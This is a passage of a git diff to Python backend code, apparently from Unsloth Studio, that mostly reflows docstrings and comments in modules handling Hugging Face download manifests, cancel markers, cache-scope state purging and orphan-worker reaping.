*existence* is the signal the scanner reads, the body carries debuggability metadata, and markers are cleared at the start of a new download attempt (a fresh attempt supersedes a prior cancel) and again on successful completion, in case the start clear failed. I/O contracts: writes are atomic via ``tmp + os.replace``, so a SIGKILL mid-write cannot leave a half-written file readable; manifest reads fail *open*, since missing/corrupt/schema-mismatched manifests return ``None`` and the scanner falls through to the legacy on-disk-only check (matching HF-cache imports and pre-fix downloads that never wrote one); cancel-marker reads fail *closed*, since file existence is the signal regardless of body parseability, so a corrupt marker still suppresses the "on device" classification."""from __future__ import annotations@@ -119,9 +93,7 @@ class VariantState:def has_marker(self, variant: str) -> bool:if variant.lower() in self._markers:return True- # An unreadable marker loses its payload, so its only identity is the filename, which for a- # variant stored hashed is the digest rather than the variant: a plain lookup missed it and left a- # cancelled variant advertised as complete.+ # An unreadable marker loses its payload, so its only identity is the filename, which for a variant stored hashed is the digest rather than the variant: a plain lookup missed it and left a cancelled variant advertised as complete.try:fragments = variant_key_fragments(variant)except (UnicodeError, ValueError):@@ -157,22 +129,14 @@ class VerifyResult:def _hub_cache_spellings(hub_cache: Optional[str | Path] = None,) -> tuple[Optional[str], Optional[str | Path]]:- """``(canonical, as supplied)`` for one cache path, defaulting to the active cache.-- The canonical half is what ownership comparisons and the scope digest are- built from. The raw half exists only so a reader can also probe the digest- of the spelling it was handed: the two differ exactly when ``resolve``- changes the path, and state written while ``resolve`` was unavailable sits- under the raw one.- """+ """``(canonical, as supplied)`` for one cache path, defaulting to the active cache. The canonical half is what ownership comparisons and the scope digest are built from. The raw half exists only so a reader can also probe the digest of the spelling it was handed: the two differ exactly when ``resolve`` changes the path, and state written while ``resolve`` was unavailable sits under the raw one."""if hub_cache is None:try:from utils.hf_cache_settings import get_hf_cache_pathshub_cache = get_hf_cache_paths().hub_cacheexcept Exception:return None, None- # Shared with state_dir.cache_scope_name so the ownership string recorded in a payload and the- # cache-<digest> directory it is filed under can never come from two different normalizations.+ # Shared with state_dir.cache_scope_name so the ownership string recorded in a payload and the cache-<digest> directory it is filed under can never come from two different normalizations.return normalize_hub_cache(hub_cache), hub_cache@@ -181,26 +145,7 @@ def _canonical_hub_cache(hub_cache: Optional[str | Path] = None) -> Optional[strdef _scope_spellings(hub_cache: str | Path) -> tuple[str, ...]:- """Every scope dir this cache's state can sit in, for a caller whose own- spelling may already be resolved.-- ``cache_scope_names`` recovers the pre-``resolve`` digest only from an- unresolved path: hand it one that resolves to itself and it returns the- canonical digest alone. The read path is fed the raw configured setting and- so gets both, but the delete and the inventory index are not -- every- production caller of ``purge_all_state_for_repo`` passes- ``resolve_delete_target_root``, whose every branch resolves, and- ``build_variant_state_index``'s inventory callers pass a directory derived- from ``huggingface_hub.scan_cache_dir``, which resolves too. Left alone,- reads probe two scopes while deletes clear one: a purged variant stays on- disk under the legacy digest for the next read to resurrect, and the two- inventory endpoints disagree about state the progress endpoint can see.-- So also probe the configured cache's own spelling -- but only when it names- the same directory as the path we were handed. Without that guard, deleting- a repo out of a NON-active cache would sweep the active cache's state for- the same repo, which is a far worse failure than the one being fixed.- """+ """Every scope dir this cache's state can sit in, for a caller whose own spelling may already be resolved. ``cache_scope_names`` recovers the pre-``resolve`` digest only from an unresolved path: hand it one that resolves to itself and it returns the canonical digest alone. The read path is fed the raw configured setting and so gets both, but the delete and the inventory index are not, since every production caller of ``purge_all_state_for_repo`` passes ``resolve_delete_target_root``, whose every branch resolves, and ``build_variant_state_index``'s inventory callers pass a directory derived from ``huggingface_hub.scan_cache_dir``, which resolves too. Left alone, reads probe two scopes while deletes clear one: a purged variant stays on disk under the legacy digest for the next read to resurrect, and the two inventory endpoints disagree about state the progress endpoint can see. So also probe the configured cache's own spelling, but only when it names the same directory as the path we were handed: without that guard, deleting a repo out of a NON-active cache would sweep the active cache's state for the same repo, a far worse failure than the one being fixed."""scopes = list(cache_scope_names(hub_cache))canonical = normalize_hub_cache(hub_cache)try:@@ -219,8 +164,7 @@ def _scope_spellings(hub_cache: str | Path) -> tuple[str, ...]:def _read_state_payload(path: Path) -> Optional[dict]:try:data = json.loads(path.read_text(encoding = "utf-8"))- # The decoder raises RecursionError for adversarially deep JSON, and one corrupt state file must not- # abort the shared one-pass index.+ # The decoder raises RecursionError for adversarially deep JSON, and one corrupt state file must not abort the shared one-pass index.except (OSError, ValueError, RecursionError) as exc:logger.debug("Could not read Hub state %s: %s", path, exc)return None@@ -300,13 +244,7 @@ def _legacy_state_applies(*,fail_closed: bool = False,) -> bool:- """Whether an old unscoped state file belongs to the requested cache.-- Transitional files that recorded their cache keep that ownership. Older- files with no ownership can only be attributed to the currently selected- cache, which matches the single-cache behavior under which they were- written without leaking them into remembered inactive caches.- """+ """Whether an old unscoped state file belongs to the requested cache. Transitional files that recorded their cache keep that ownership; older files with no ownership can only be attributed to the currently selected cache, which matches the single-cache behavior under which they were written without leaking them into remembered inactive caches."""data = _read_state_payload(path)if data is not None:raw_recorded = data.get("hub_cache")@@ -332,8 +270,7 @@ def _state_read_path(def applies(path: Path) -> bool:payload = _read_state_payload(path)plausible = _state_payload_identity_matches_entry(path, payload, repo_type)- # Cancellation stays fail-closed when a marker cannot identify its owner; parseable state from- # another repository is never borrowed.+ # Cancellation stays fail-closed when a marker cannot identify its owner; parseable state from another repository is never borrowed.if fail_closed and not plausible:return Trueif plausible and variant is not None:@@ -381,24 +318,8 @@ def _state_paths(*,raw_hub_cache: Optional[str | Path] = None,) -> tuple[Path, ...]:- """Canonical-first read/delete paths across the filename migration.-- Writers use only the default state-dir path. Readers and cleanup also probe- the prior repository and double-hyphen variant encodings, plus the- pre-``resolve`` cache-scope digest, deduplicating when a repository, variant- or cache scope never needed migration.-- ``raw_hub_cache`` is the caller's own spelling of ``hub_cache`` before- canonicalization, and is what the extra scope digest has to come from: the- canonical string resolves to itself, so deriving the fallback from it would- reproduce the canonical digest and probe nothing. The scope fan-out- collapses to one entry whenever the two spellings agree, which is every path- that resolves to itself.- """- # _scope_spellings, not cache_scope_names: the single-variant delete route hands over a root- # resolve_delete_target_root has ALREADY resolved, so the raw spelling reproduces the canonical- # digest and the pre-resolve scope is never probed, leaving state for the next read to resurrect.- # It adds the configured cache's own spelling only when it names the same directory.+ """Canonical-first read/delete paths across the filename migration. Writers use only the default state-dir path; readers and cleanup also probe the prior repository and double-hyphen variant encodings, plus the pre-``resolve`` cache-scope digest, deduplicating when a repository, variant or cache scope never needed migration. ``raw_hub_cache`` is the caller's own spelling of ``hub_cache`` before canonicalization, and is what the extra scope digest has to come from: the canonical string resolves to itself, so deriving the fallback from it would reproduce the canonical digest and probe nothing. The scope fan-out collapses to one entry whenever the two spellings agree, which is every path that resolves to itself."""+ # _scope_spellings, not cache_scope_names: the single-variant delete route hands over a root resolve_delete_target_root has ALREADY resolved, so the raw spelling reproduces the canonical digest and the pre-resolve scope is never probed, leaving state for the next read to resurrect. It adds the configured cache's own spelling only when it names the same directory.scopes = ((None,)if hub_cache is None@@ -482,12 +403,7 @@ def write_manifest(metadata_derived: bool = False,_schema_version: int = _LEGACY_MANIFEST_VERSION,) -> bool:- """Write/overwrite the manifest for this triple. Best-effort.-- ``False`` on write failure must not be treated as fatal: the- worst-case fallback is the pre-fix scanner behavior (one missed- partial detection), which is no regression.- """+ """Write/overwrite the manifest for this triple. Best-effort: ``False`` on write failure must not be treated as fatal, since the worst case is the pre-fix scanner behavior (one missed partial detection), which is no regression."""recorded_hub_cache = _canonical_hub_cache(hub_cache)path = manifest_path(repo_type,@@ -546,14 +462,7 @@ def read_manifest(*,hub_cache: Optional[str | Path] = None,) -> Optional[Manifest]:- """Return the manifest if present and parseable; ``None`` otherwise.-- Treats missing-file, parse-error, and any schema mismatch all as- ``None`` (fail-open). Scanner callers fall through to on-disk-only- behavior on ``None`` so this never regresses legacy/imported repos- that have no manifest.-- """+ """Return the manifest if present and parseable; ``None`` otherwise. Treats missing-file, parse-error and any schema mismatch all as ``None`` (fail-open), and scanner callers fall through to on-disk-only behavior on ``None`` so this never regresses legacy/imported repos that have no manifest."""path = _state_read_path(manifest_path,repo_type,@@ -802,25 +711,11 @@ def migrate_ordinary_v2_manifests_for_downgrade() -> int:def verify_against_disk(manifest: Manifest, snapshot_dir: Path) -> VerifyResult:- """Check every expected file is present in *snapshot_dir* at its declared size.-- Presence + size only, not content integrity: it converts a- no-op-on-cached ``snapshot_download`` into a clear error when shards are- missing or truncated, and marks a scanner row partial when expected bytes- aren't on disk. Byte-level integrity is already covered upstream by- ``huggingface_hub`` (size check on HTTP, content-addressed chunk hashes on- XET), so re-hashing finalized multi-GB weights here would only duplicate- that at a large cost. ``Path.stat()`` follows symlinks, so HF's symlink and- Windows copy cache layouts both verify correctly.- """+ """Check every expected file is present in *snapshot_dir* at its declared size. Presence + size only, not content integrity: it converts a no-op-on-cached ``snapshot_download`` into a clear error when shards are missing or truncated, and marks a scanner row partial when expected bytes are not on disk. Byte-level integrity is already covered upstream by ``huggingface_hub`` (size check on HTTP, content-addressed chunk hashes on XET), so re-hashing finalized multi-GB weights here would only duplicate that at a large cost. ``Path.stat()`` follows symlinks, so HF's symlink and Windows copy cache layouts both verify correctly."""missing: list[str] = []mismatched: list[str] = []for expected in manifest.expected_files:- # Counted missing rather than skipped, so an unverifiable entry can never read as verified. A- # Windows-separator path cannot be folded onto its posix spelling in expected_path_is_safe: that- # guard also fronts resolved_dataset_snapshot_file, which splits on PurePosixPath, where "a\b" is- # one component and accepting it would hand a traversal through. No writer here produces one (HF- # rfilenames are posix and expected_files_from_snapshot_dir calls as_posix).+ # Counted missing rather than skipped, so an unverifiable entry can never read as verified. A Windows-separator path cannot be folded onto its posix spelling in expected_path_is_safe: that guard also fronts resolved_dataset_snapshot_file, which splits on PurePosixPath, where "a\b" is one component and accepting it would hand a traversal through. No writer here produces one (HF rfilenames are posix and expected_files_from_snapshot_dir calls as_posix).if not expected_path_is_safe(expected.path):missing.append(expected.path)continue@@ -841,20 +736,10 @@ def verify_against_disk(manifest: Manifest, snapshot_dir: Path) -> VerifyResult:def expected_files_from_snapshot_dir(snapshot_dir: Path) -> list[ExpectedFile]:- """Derive expected-file entries from a completed snapshot directory.-- Last-resort manifest source for when HF metadata was unreachable for the- whole download. ``snapshot_download`` has already exited cleanly, so every- regular file is a finished, correctly-sized blob; recording them keeps the- scanner's completion check in agreement with the worker's exit-0 success- instead of leaving a finished repo perpetually partial. ``stat()`` follows- HF's symlink layout and Windows copies, so the recorded sizes match what- ``verify_against_disk`` later reads.- """+ """Derive expected-file entries from a completed snapshot directory. Last-resort manifest source for when HF metadata was unreachable for the whole download: ``snapshot_download`` has already exited cleanly, so every regular file is a finished, correctly-sized blob, and recording them keeps the scanner's completion check in agreement with the worker's exit-0 success instead of leaving a finished repo perpetually partial. ``stat()`` follows HF's symlink layout and Windows copies, so the recorded sizes match what ``verify_against_disk`` later reads."""out: list[ExpectedFile] = []try:- # Baking a companion into the completion contract makes the download read as partial forever once- # macOS cleans it up.+ # Baking a companion into the completion contract makes the download read as partial forever once macOS cleans it up.entries = drop_appledouble_metadata(sorted(snapshot_dir.rglob("*")))except OSError:return out@@ -883,12 +768,7 @@ def write_cancel_marker(*,hub_cache: Optional[str | Path] = None,) -> bool:- """Record that this triple was cancelled. Idempotent across repeated cancels.-- ``transport`` ("http"/"xet") is surfaced via partial_transport on- inventory rows so the UI only offers a byte-resume for an HTTP partial.- None is accepted for forward-compat.- """+ """Record that this triple was cancelled. Idempotent across repeated cancels. ``transport`` ("http"/"xet") is surfaced via partial_transport on inventory rows so the UI only offers a byte-resume for an HTTP partial; None is accepted for forward-compat."""recorded_hub_cache = _canonical_hub_cache(hub_cache)path = marker_path(repo_type,@@ -918,21 +798,7 @@ def read_cancel_marker_transport(*,hub_cache: Optional[str | Path] = None,) -> Optional[str]:- """Return the transport recorded in the cancel marker, or ``None`` if no- marker exists or it is unreadable.-- Cases:-- * No marker on disk → ``None``.- * Legacy v1 marker → ``"http"``: v1 markers were only written by the- HTTP path, so the transport is unambiguous despite the absent field.- * v2 marker with a valid ``"http"`` / ``"xet"`` transport → that value.- * Corrupt, non-dict, or v2-with-missing-transport marker → ``None``.- Defaulting these to ``"http"`` misled the UI into showing a- byte-resume "Continue" label for what may have been an XET cancel;- ``None`` keeps the neutral "Retry" label.- * Unknown future versions → ``None`` (unknown layout, unknown transport).- """+ """Return the transport recorded in the cancel marker, or ``None`` if no marker exists or it is unreadable. No marker on disk gives ``None``. A legacy v1 marker gives ``"http"``: v1 markers were only written by the HTTP path, so the transport is unambiguous despite the absent field. A v2 marker with a valid ``"http"`` / ``"xet"`` transport gives that value. A corrupt, non-dict, or v2-with-missing-transport marker gives ``None``, since defaulting these to ``"http"`` misled the UI into showing a byte-resume "Continue" label for what may have been an XET cancel, while ``None`` keeps the neutral "Retry" label. Unknown future versions give ``None`` too: unknown layout, unknown transport."""path = _state_read_path(marker_path,repo_type,@@ -1009,12 +875,7 @@ def clear_cancel_marker(*,hub_cache: Optional[str | Path] = None,) -> None:- """Remove the cancel marker for this triple if present.-- Idempotent: a missing marker is not an error. Called at- download-start (a fresh attempt supersedes prior cancel state) and- again at successful completion (cleans up if the start clear failed).- """+ """Remove the cancel marker for this triple if present. Idempotent, since a missing marker is not an error. Called at download-start (a fresh attempt supersedes prior cancel state) and again at successful completion (cleans up if the start clear failed)."""requested, raw = _hub_cache_spellings(hub_cache)paths = _owned_state_paths(marker_path,@@ -1098,12 +959,7 @@ def purge_state(*,hub_cache: Optional[str | Path] = None,) -> bool:- """Remove manifest + cancel marker for this triple. Returns ``True``- when anything was present on disk before the call. Idempotent.-- With ``hub_cache`` set, only that cache's scoped state (plus any legacy- unscoped file that belongs to it) is removed, so purging one cache's copy- never clears another cache's resumable/cancel state."""+ """Remove manifest + cancel marker for this triple. Returns ``True`` when anything was present on disk before the call. Idempotent. With ``hub_cache`` set, only that cache's scoped state (plus any legacy unscoped file that belongs to it) is removed, so purging one cache's copy never clears another cache's resumable/cancel state."""if hub_cache is None:paths = (*_all_matching_state_paths(manifests_dir(), repo_type, repo_id, variant),@@ -1112,9 +968,7 @@ def purge_state(else:requested, raw = _hub_cache_spellings(hub_cache)candidates: list[Path] = []- # Legacy unscoped state is shared: an unowned file belongs to the active cache, so purge it only- # when it belongs to the cache being deleted, else deleting an inactive cache erases the active- # cache's state.+ # Legacy unscoped state is shared: an unowned file belongs to the active cache, so purge it only when it belongs to the cache being deleted, else deleting an inactive cache erases the active cache's state.for path_factory, fail_closed in ((manifest_path, False),(marker_path, True),@@ -1151,21 +1005,7 @@ def purge_all_state_for_repo(*,hub_cache: Optional[str | Path] = None,) -> int:- """Remove the snapshot-level manifest + marker AND every variant-keyed- manifest + marker for this repo. Used by the route delete handlers so- scanner state never outlives the cache it described. Returns the count- of (repo, variant) triples that had any state on disk.-- With ``hub_cache`` set, only that cache's scoped state (plus any legacy- unscoped file) is enumerated and removed, so deleting one cache's copy does- not clear another cache's resumable/cancel state.-- Variant entries are unlinked by their enumerated paths, never by- reconstructing the paired manifest/marker name. The legacy filename scheme- is not injective when repository IDs or variants contain ``variant``- delimiters, so a reconstructed counterpart can belong to another repo.- Valid payload identity decides ownership. Corrupt delimiter-ambiguous state- is retained as a safe orphan instead of risking an active download marker."""+ """Remove the snapshot-level manifest + marker AND every variant-keyed manifest + marker for this repo. Used by the route delete handlers so scanner state never outlives the cache it described. Returns the count of (repo, variant) triples that had any state on disk. With ``hub_cache`` set, only that cache's scoped state (plus any legacy unscoped file) is enumerated and removed, so deleting one cache's copy does not clear another cache's resumable/cancel state. Variant entries are unlinked by their enumerated paths, never by reconstructing the paired manifest/marker name: the legacy filename scheme is not injective when repository IDs or variants contain ``variant`` delimiters, so a reconstructed counterpart can belong to another repo. Valid payload identity decides ownership, and corrupt delimiter-ambiguous state is retained as a safe orphan instead of risking an active download marker."""removed = 0if purge_state(repo_type, repo_id, None, hub_cache = hub_cache):removed += 1@@ -1193,13 +1033,9 @@ def purge_all_state_for_repo(if parent is not None]else:- # This cache's scoped dirs plus the legacy unscoped base; glob (not rglob) so other caches are untouched.- # Both scope spellings, else a repo delete leaves the pre-resolve copy behind for a later read to- # resurrect as state for a cache that is gone.+ # This cache's scoped dirs plus the legacy unscoped base; glob (not rglob) so other caches are untouched. Both scope spellings, else a repo delete leaves the pre-resolve copy behind for a later read to resurrect as state for a cache that is gone.search = []- # _scope_spellings, not cache_scope_names: every production caller resolves its target root first,- # so the raw-spelling probe would be inert here while the read path still has it - a purged- # variant that the next read brings back.+ # _scope_spellings, not cache_scope_names: every production caller resolves its target root first, so the raw-spelling probe would be inert here while the read path still has it, and a purged variant would come back on the next read.scopes = _scope_spellings(hub_cache)for path_factory, base, cancel_markers in ((manifest_path, manifests_dir(create = False), False),@@ -1276,10 +1112,7 @@ def _payload_text(value: object) -> Optional[str]:def _payload_file_path(value: object) -> Optional[str]:- """Accept only path text that Python filesystem APIs can consume.-- Rejecting the whole malformed manifest preserves its fail-open contract.- """+ """Accept only path text that Python filesystem APIs can consume. Rejecting the whole malformed manifest preserves its fail-open contract."""text = _payload_text(value)if text is None or "\0" in text or text in ("", "."):return None@@ -1320,11 +1153,7 @@ def _state_payload_identity(payload: Optional[dict]) -> Optional[tuple[Optional[def _state_payload_identity_matches_entry(entry: Path, payload: Optional[dict], fallback_repo_type: RepoType) -> bool:- """Whether payload ownership could have generated this exact state name.-- False means corrupt ownership, not automatically foreign ownership; callers- retain fail-closed or ambiguity-safe behavior according to their operation.- """+ """Whether payload ownership could have generated this exact state name. False means corrupt ownership, not automatically foreign ownership; callers retain fail-closed or ambiguity-safe behavior according to their operation."""identity = _state_payload_identity(payload)if identity is None:return False@@ -1347,8 +1176,7 @@ def _state_entry_belongs_to_repo(repo_id: str,variant: Optional[str] = None,) -> bool:- """Attribute an exact state path without guessing across legacy delimiter- collisions; unreadable ambiguous names are retained rather than deleted."""+ """Attribute an exact state path without guessing across legacy delimiter collisions; unreadable ambiguous names are retained rather than deleted."""payload_identity = _state_payload_identity(payload)# A parseable payload is authoritative even when its filename has multiple splits.if payload_identity is not None and _state_payload_identity_matches_entry(@@ -1437,10 +1265,7 @@ def build_variant_state_index(repo_keys.setdefault(prefix[: -len("--variant--")], set()).add((repo_type, normalized_repo))- # Both spellings of the scope dir, derived from the caller's own rather than the canonical one, so- # state filed under the pre-resolve digest is indexed instead of read as "no manifest": the- # inventory callers arrive with a directory huggingface_hub.scan_cache_dir already resolved, so- # the raw probe alone finds nothing.+ # Both spellings of the scope dir, derived from the caller's own rather than the canonical one, so state filed under the pre-resolve digest is indexed instead of read as "no manifest": the inventory callers arrive with a directory huggingface_hub.scan_cache_dir already resolved, so the raw probe alone finds nothing.for scope in _scope_spellings(hub_cache):caches_by_scope.setdefault(scope, set()).add(canonical_cache)@@ -1481,10 +1306,7 @@ def build_variant_state_index(try:canonical = marker_path(repo_type, repo_id, variant, create = False)except (UnicodeError, ValueError, OSError):- # A state filename can carry a byte the filesystem encoding cannot decode, which iterdir()- # surfaces as a lone surrogate, and hashing it raises UnicodeEncodeError. This index is built once- # for the whole scan and outside the per-repo try, so letting it escape turns one corrupt filename- # into a 500 that hides every cached model; treat the entry as non-canonical and keep indexing.+ # A state filename can carry a byte the filesystem encoding cannot decode, which iterdir() surfaces as a lone surrogate, and hashing it raises UnicodeEncodeError. This index is built once for the whole scan and outside the per-repo try, so letting it escape turns one corrupt filename into a 500 that hides every cached model; treat the entry as non-canonical and keep indexing.canonical = Noneadd_entry(cache,@@ -1568,10 +1390,7 @@ def _iter_variant_state_files(returnpath_factory = marker_path if cancel_markers else manifest_pathrequested, raw = _hub_cache_spellings(hub_cache)- # Every scope this cache's state can sit in, so a variant filed under the pre-resolve digest is- # enumerated instead of reading as "no variant state".- # _scope_spellings, since cache_scope_names recovers the legacy digest only from an UNRESOLVED path,- # while a variant request carrying local_path arrives here already resolved.+ # Every scope this cache's state can sit in, so a variant filed under the pre-resolve digest is enumerated instead of reading as "no variant state". _scope_spellings, since cache_scope_names recovers the legacy digest only from an UNRESOLVED path, while a variant request carrying local_path arrives here already resolved.scopes = _scope_spellings(raw) if requested is not None and raw is not None else (None,)scoped_dirs: list[Path] = []for scope in scopes:@@ -1646,8 +1465,7 @@ def _iter_variant_state_files(variant_payload = Nonevariant = _variant_from_state_payload(variant_payload, fallback)try:- # Unscoped: only the basename is compared below, and a scoped path would re-derive the digest, and- # pay its resolve, once per candidate file.+ # Unscoped: only the basename is compared below, and a scoped path would re-derive the digest, and pay its resolve, once per candidate file.canonical = path_factory(repo_type,repo_id,@@ -1656,8 +1474,7 @@ def _iter_variant_state_files(create = False,)except (UnicodeError, ValueError, OSError):- # Same undecodable-filename case as add_path: letting the hash escape would abort the whole- # iteration and lose the repo's valid state alongside it.+ # Same undecodable-filename case as add_path: letting the hash escape would abort the whole iteration and lose the repo's valid state alongside it.canonical = Nonepriority = (not legacy, canonical is not None and canonical.name == entry.name)key = variant.lower()@@ -1673,9 +1490,7 @@ def iter_variant_manifests(*,hub_cache: Optional[str | Path] = None,) -> Iterator[tuple[str, Path]]:- """Yield (variant, manifest_path) for every variant-keyed manifest- written for this repo. Used by is_gguf_repo_partial to enumerate all- variants present on disk so the all-variants-broken gate can run."""+ """Yield (variant, manifest_path) for every variant-keyed manifest written for this repo. Used by is_gguf_repo_partial to enumerate all variants present on disk so the all-variants-broken gate can run."""yield from _iter_variant_state_files(manifests_dir(create = False),repo_type,@@ -1691,9 +1506,7 @@ def iter_variant_markers(*,hub_cache: Optional[str | Path] = None,) -> Iterator[tuple[str, Path]]:- """Yield (variant, marker_path) for every variant-keyed cancel marker.- Companion to iter_variant_manifests: catches variants cancelled- before download-start ever wrote a manifest (very early failures)."""+ """Yield (variant, marker_path) for every variant-keyed cancel marker. Companion to iter_variant_manifests: catches variants cancelled before download-start ever wrote a manifest (very early failures)."""yield from _iter_variant_state_files(cancelled_dir(create = False),repo_type,diff --git a/studio/backend/hub/utils/download_registry.py b/studio/backend/hub/utils/download_registry.pyindex 7624a1f9741..681bb1f75a3 100644--- a/studio/backend/hub/utils/download_registry.py+++ b/studio/backend/hub/utils/download_registry.py@@ -1,38 +1,11 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""HF cache inspection, download registry state, and orphan-worker reaping.--Worker spawning and exit handling live in-:mod:`hub.services.download_lifecycle`; this module owns the registry state-machine plus the cache/marker inspection those workers depend on.--Resume model--------------Up to huggingface_hub 1.17 the HTTP transport supported true partial-file-resume: the resumer opened ``<etag>.incomplete`` in append mode and sent-``Range: bytes={resume_size}-`` to continue from disk. 1.18 replaced that with-a process-unique ``<etag>.<nonce>.incomplete`` opened ``"wb"`` and unlinked on-the way out, so no transport resumes within a file any more and a surviving-partial is litter (see :func:`hf_partials_are_resumable`). Resume is now-whole-file only: ``snapshot_download`` skips shards already materialized.--The XET transport CANNOT resume from a ``.incomplete`` partial:-``hf_xet.download_files`` rewrites the destination from scratch.-Network-level dedup still happens, but through the separate chunk cache at-``~/.cache/huggingface/xet/chunk-cache``, which these helpers never touch.--Cross-transport corruption: a partial written by XET (or ``hf_transfer``'s-parallel-Range writer) can be sparse — high reported size, zero-filled-gaps below. Feeding it to the HTTP resumer would produce a correct-sized-blob whose internal bytes are silently wrong. To prevent that, we keep-transport markers at the download's scope (repo for snapshots/datasets,-variant for GGUF) and refuse to inherit an HTTP partial unless the marker-proves the previous writer was the same single-stream sequential writer.--Marker writes go through tmp+rename in :func:`prepare_cache_for_transport`-before the worker hands off to ``snapshot_download``, so the next process-always sees a consistent provenance signal.+"""HF cache inspection, download registry state, and orphan-worker reaping. Worker spawning and exit handling live in :mod:`hub.services.download_lifecycle`; this module owns the registry state machine plus the cache/marker inspection those workers depend on.++Resume model: up to huggingface_hub 1.17 the HTTP transport supported true partial-file resume, opening ``<etag>.incomplete`` in append mode and sending ``Range: bytes={resume_size}-``. 1.18 replaced that with a process-unique ``<etag>.<nonce>.incomplete`` opened ``"wb"`` and unlinked on the way out, so no transport resumes within a file any more and a surviving partial is litter (see :func:`hf_partials_are_resumable`); resume is now whole-file only, with ``snapshot_download`` skipping shards already materialized. The XET transport CANNOT resume from a ``.incomplete`` partial at all, since ``hf_xet.download_files`` rewrites the destination from scratch, though network-level dedup still happens through the separate chunk cache these helpers never touch.++Cross-transport corruption: a partial written by XET (or ``hf_transfer``'s parallel-Range writer) can be sparse, with a high reported size and zero-filled gaps below, and feeding it to the HTTP resumer would produce a correct-sized blob whose internal bytes are silently wrong. So transport markers are kept at the download's scope (repo for snapshots/datasets, variant for GGUF) and an HTTP partial is never inherited unless the marker proves the previous writer was the same single-stream sequential writer. Marker writes go through tmp+rename in :func:`prepare_cache_for_transport` before the worker hands off to ``snapshot_download``, so the next process always sees a consistent provenance signal."""from __future__ import annotations@@ -55,8 +28,7 @@ from typing import Callable, Iterator, Literal, NamedTuple, Optional, Sequencefrom loggers import get_logger-# One floor, one name, shared: hand-written copies meant the site that got missed was missed because-# "who enforces it" had to be read rather than grepped.+# One floor, one name, shared: hand-written copies meant the site that got missed was missed because "who enforces it" had to be read rather than grepped.from utils.process_lifetime import is_signalable_pidfrom hub.utils import state_dir@@ -98,8 +70,7 @@ class DownloadTransportCapability:class DownloadTransportCapabilities:http: DownloadTransportCapabilityxet: DownloadTransportCapability- # What "auto" would pick right now, and why, so the picker can say "Auto (HTTP -- Xet stalled twice- # on this machine)" instead of just "Auto".+ # What "auto" would pick right now, and why, so the picker can say "Auto (HTTP -- Xet stalled twice on this machine)" instead of just "Auto".auto_resolves_to: str = TRANSPORT_XETauto_reason: Optional[str] = None# False on huggingface_hub >= 1.18, so the UI stops offering a byte-resume no writer can honour.@@ -109,13 +80,7 @@ class DownloadTransportCapabilities:def get_download_transport_capabilities(*, probe: bool = False, ram_gate: bool = False) -> DownloadTransportCapabilities:- """What this machine can do, and what Auto resolves to on it.-- ``probe`` runs the live Xet health check and is only for the frontend resolving Auto at- download start. ``ram_gate`` applies the free-RAM half of that same verdict WITHOUT the- network probe, for a surface that has to state what the next download will pick: the- settings row said "Auto is using Xet" while the download path, which probes, chose HTTP.- """+ """What this machine can do, and what Auto resolves to on it. ``probe`` runs the live Xet health check and is only for the frontend resolving Auto at download start; ``ram_gate`` applies the free-RAM half of that same verdict WITHOUT the network probe, for a surface that has to state what the next download will pick, since the settings row said "Auto is using Xet" while the download path, which probes, chose HTTP."""xet_available = importlib.util.find_spec("hf_xet") is not Noneauto_transport = TRANSPORT_XET if xet_available else TRANSPORT_HTTPauto_reason: Optional[str] = None@@ -124,16 +89,13 @@ def get_download_transport_capabilities(try:from utils.hf_xet_fallback import cached_xet_health, xet_health- # Ordinary UI polls are read-only and must not load Zoo; probe=True is the actual first-download- # decision, and ram_gate loads it too without probing: an empty cache reads as the optimistic Xet,- # so the row promised Xet while the next download chose HTTP.+ # Ordinary UI polls are read-only and must not load Zoo; probe=True is the actual first-download decision, and ram_gate loads it too without probing: an empty cache reads as the optimistic Xet, so the row promised Xet while the next download chose HTTP.health_fn = xet_health if (probe or ram_gate) else cached_xet_healthhealth = health_fn(probe = probe)if health is not None:auto_transport = TRANSPORT_XET if health.use_xet else TRANSPORT_HTTPauto_reason = str(health.reason)- # UNSLOTH_FORCE_XET=1 is an operator override, not a measurement, so the free-RAM gate below stands- # down exactly as resolve_auto_use_xet does.+ # UNSLOTH_FORCE_XET=1 is an operator override, not a measurement, so the free-RAM gate below stands down exactly as resolve_auto_use_xet does.try:from utils.hf_xet_fallback import xet_health_is_forcedauto_forced = bool(xet_health_is_forced(health))@@ -148,9 +110,7 @@ def get_download_transport_capabilities(and auto_transport == TRANSPORT_XETand not auto_forced):- # Free RAM belongs in the same verdict, since the UI submits the answer as an explicit xet/http.- # Read outside the health try, because a missing health module says nothing about RAM, and never- # on an ordinary poll: only for a probe or an explicit ram_gate.+ # Free RAM belongs in the same verdict, since the UI submits the answer as an explicit xet/http. Read outside the health try, because a missing health module says nothing about RAM, and never on an ordinary poll: only for a probe or an explicit ram_gate.try:from utils.hf_xet_fallback import free_ram_pressure_reasonpressure = free_ram_pressure_reason()@@ -191,9 +151,7 @@ def _worker_breadcrumb_path(key: str) -> Optional[Path]:def write_worker_breadcrumb(key: str, pid: int, metadata: Optional["DownloadMetadata"]) -> None:- """Record a live worker's PID so a restarted backend can reap it. Best- effort: a write failure only forfeits boot-time reaping for this worker,- still covered by the worker's own parent-death watchdog."""+ """Record a live worker's PID so a restarted backend can reap it. Best effort: a write failure only forfeits boot-time reaping for this worker, still covered by the worker's own parent-death watchdog."""path = _worker_breadcrumb_path(key)if path is None:return@@ -296,24 +254,15 @@ def _is_our_worker(pid: int, repo_id: Optional[str]) -> bool:return Falseif "hub.workers.hf_download" not in cmdline:return False- # Exact --repo-id match: a substring match would let a stale breadcrumb for Org/Model reap a live- # worker for Org/Model-v2.+ # Exact --repo-id match: a substring match would let a stale breadcrumb for Org/Model reap a live worker for Org/Model-v2.if isinstance(repo_id, str) and repo_id:return _cmdline_repo_id(cmdline) == repo_idreturn Truedef _kill_orphan(pid: int) -> bool:- """Signal the process and wait for it to actually be gone. True once it is.-- The wait is what makes the boot sweep meaningful: the signal only schedules the death, and- a sweep that runs a microsecond later still sees the worker's Hugging Face blob lock and- spares a partial nothing will ever finish. Bounded, because a pid we cannot reap is not a- reason to hold up startup -- and answering False there matters: a survivor must keep its- breadcrumb and must not have its live partial claimed as ours to delete.- """- # Repeated here because this one sends the signal, and a helper that kills should not depend on- # every future caller having checked first.+ """Signal the process and wait for it to actually be gone; True once it is. The wait is what makes the boot sweep meaningful: the signal only schedules the death, and a sweep that runs a microsecond later still sees the worker's Hugging Face blob lock and spares a 